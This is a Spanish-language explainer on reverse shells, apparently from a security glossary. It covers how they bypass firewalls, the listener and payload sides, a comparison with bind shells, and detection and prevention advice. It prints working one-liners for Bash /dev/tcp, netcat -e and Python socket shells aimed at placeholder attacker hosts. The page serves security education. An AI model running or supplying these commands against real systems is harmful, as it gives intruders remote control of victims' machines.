Reverse Shell
TL;DR: Reverse Shell
Un shell reverso, también conocido como shell de conexión inversa, es cuando un sistema comprometido se conecta al atacante y le proporciona una sesión de línea de comandos en vivo.
¿Por qué es esto importante?
- Los shells reversos pueden eludir los firewalls ya que la mayoría de los firewalls bloquean las conexiones entrantes pero permiten las salientes.
- Los atacantes obtienen control real porque pueden ejecutar comandos como si estuvieran conectados directamente.
- Los shells reversos son muy comunes ya que son un paso estándar después de que un atacante explota un sistema.
Imagínalo de esta manera: en lugar de que el atacante intente entrar, engañan al servidor para que se comunique con ellos.
¿Qué es un Shell Reverso?
Un shell reverso es un shell remoto donde la computadora de la víctima inicia la conexión con la computadora del atacante.
Normalmente, tu computadora inicia la conexión, como cuando visitas un sitio web. Con un shell reverso, esto se invierte. Después de que el atacante encuentra una manera de ejecutar código, el servidor se conecta de nuevo al atacante.
Una manera fácil de recordarlo:
- Shell de enlace: Intentas conectarte al servidor. Si un firewall te bloquea, no puedes pasar.
- Shell reverso: El servidor se conecta a ti. Dado que las conexiones salientes generalmente están permitidas, puedes responder y tomar el control.
Por qué Importan los Shells Reversos
Los equipos de seguridad generalmente se enfocan en defensas como firewalls, balanceadores de carga y limitación de puertos. Estos funcionan hasta que un atacante logra ejecutar código dentro del sistema.
Cuando eso sucede, el shell reverso se convierte en la principal forma del atacante de permanecer dentro.
¿Por qué es peligroso?
-
El tráfico saliente es de confianza.
Los cortafuegos a menudo permiten el tráfico saliente en puertos como el 80 o el 443 para actualizaciones y APIs. Las shells inversas pueden ocultarse en este tráfico permitido.
-
Los atacantes pueden mantener el acceso.
Incluso si se corrige el agujero de seguridad original, una shell activa aún puede permitir a los atacantes controlar el sistema.
-
Permite el movimiento lateral.
Con una shell, los atacantes pueden explorar la red interna, robar contraseñas y moverse a otras computadoras. Una vulnerabilidad puede rápidamente llevar a que todo el entorno sea comprometido.
Cómo funciona una Shell Inversa
Una shell inversa tiene dos partes principales: el escucha y la carga útil.
1. El Escucha (Lado del Atacante)
El atacante utiliza un programa que espera conexiones. Netcat es una herramienta común para esto.
nc -lvnp 4444
Este comando indica a la computadora del atacante que escuche en el puerto 4444 y espere una conexión.
2. La Carga Útil (Lado de la Víctima)
Después de encontrar una vulnerabilidad como la Ejecución Remota de Código, el atacante ejecuta un comando en el servidor de la víctima para abrir una shell y enviarla de vuelta.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Este comando inicia una shell bash y envía toda la entrada y salida a la computadora del atacante.
3. La Conexión
El servidor de la víctima inicia una conexión saliente. El cortafuegos ve esto como normal y lo permite. El escucha del atacante acepta la conexión, dando al atacante una shell en vivo en el servidor.
En esta etapa, el atacante tiene control interactivo completo sobre el servidor.
Ejemplos Comunes de Shell Inversa
Los atacantes y los hackers éticos ajustan su enfoque según las herramientas disponibles en el sistema objetivo.
Bash (Común en Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Utilizado cuando Netcat está disponible en la máquina objetivo.
nc -e /bin/sh 10.0.0.1 4444
Python
Python es muy común en servidores modernos.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Shell Reversa vs Shell de Enlace
Conocer la diferencia entre shells reversas y shells de enlace ayuda a defender redes.
| Característica | Shell de Enlace | Shell Reversa |
|---|---|---|
| Dirección de conexión | Atacante a Víctima | Víctima a Atacante |
| Impacto en el firewall | A menudo bloqueado | A menudo permitido |
| Requisitos de red | Acceso directo necesario | Funciona a través de NAT y firewalls |
| Caso de uso típico | Redes internas | Ataques en el mundo real |
¿Quién Usa Shells Reversas?
- Los testers de penetración usan shells reversas para demostrar que una vulnerabilidad puede llevar a un compromiso total del sistema.
- Los equipos rojos usan shells reversas para probar qué tan bien se controla el tráfico saliente.
- Los actores maliciosos usan shells reversas para desplegar ransomware, robar datos o avanzar más en una red.
- Los administradores de sistemas rara vez usan shells reversas para acceso remoto. Usualmente prefieren túneles SSH seguros.
Detección y Prevención
Detener shells reversas requiere varias capas de defensa.
-
Filtrado de tráfico saliente
Los servidores no deben tener acceso abierto a Internet. Limita a qué destinos y puertos pueden acceder.
-
Monitoreo de comportamiento
Un servidor web que genera un proceso de shell, como /bin/bash o cmd.exe, es altamente sospechoso.
-
Reducir la superficie de ataque.
Elimina herramientas no utilizadas como Netcat, compiladores e intérpretes adicionales de los sistemas de producción.
Términos relacionados
- Ejecución Remota de Código (RCE)
- Shell Vinculado
FAQ: Shell Reverso
¿Es ilegal un shell reverso?
Los shells reversos son legales solo si los usas en sistemas que posees o tienes permiso claro para probar. Usarlos sin permiso es ilegal.
¿Por qué los cortafuegos permiten shells reversos?
Los cortafuegos están diseñados para bloquear amenazas entrantes y generalmente confían en el tráfico saliente. Los shells reversos se aprovechan de esto.
¿Puede un antivirus detectar shells reversos?
A veces. El software antivirus que utiliza firmas puede encontrar programas de shell conocidos, pero los shells sin archivos hechos con Bash o Python son mucho más difíciles de detectar.
¿Cuál es la diferencia entre un shell reverso y un webshell?
Un webshell se utiliza a través de un navegador y generalmente permanece en el sistema, pero tiene características limitadas. Un shell reverso proporciona una sesión de línea de comandos interactiva en vivo.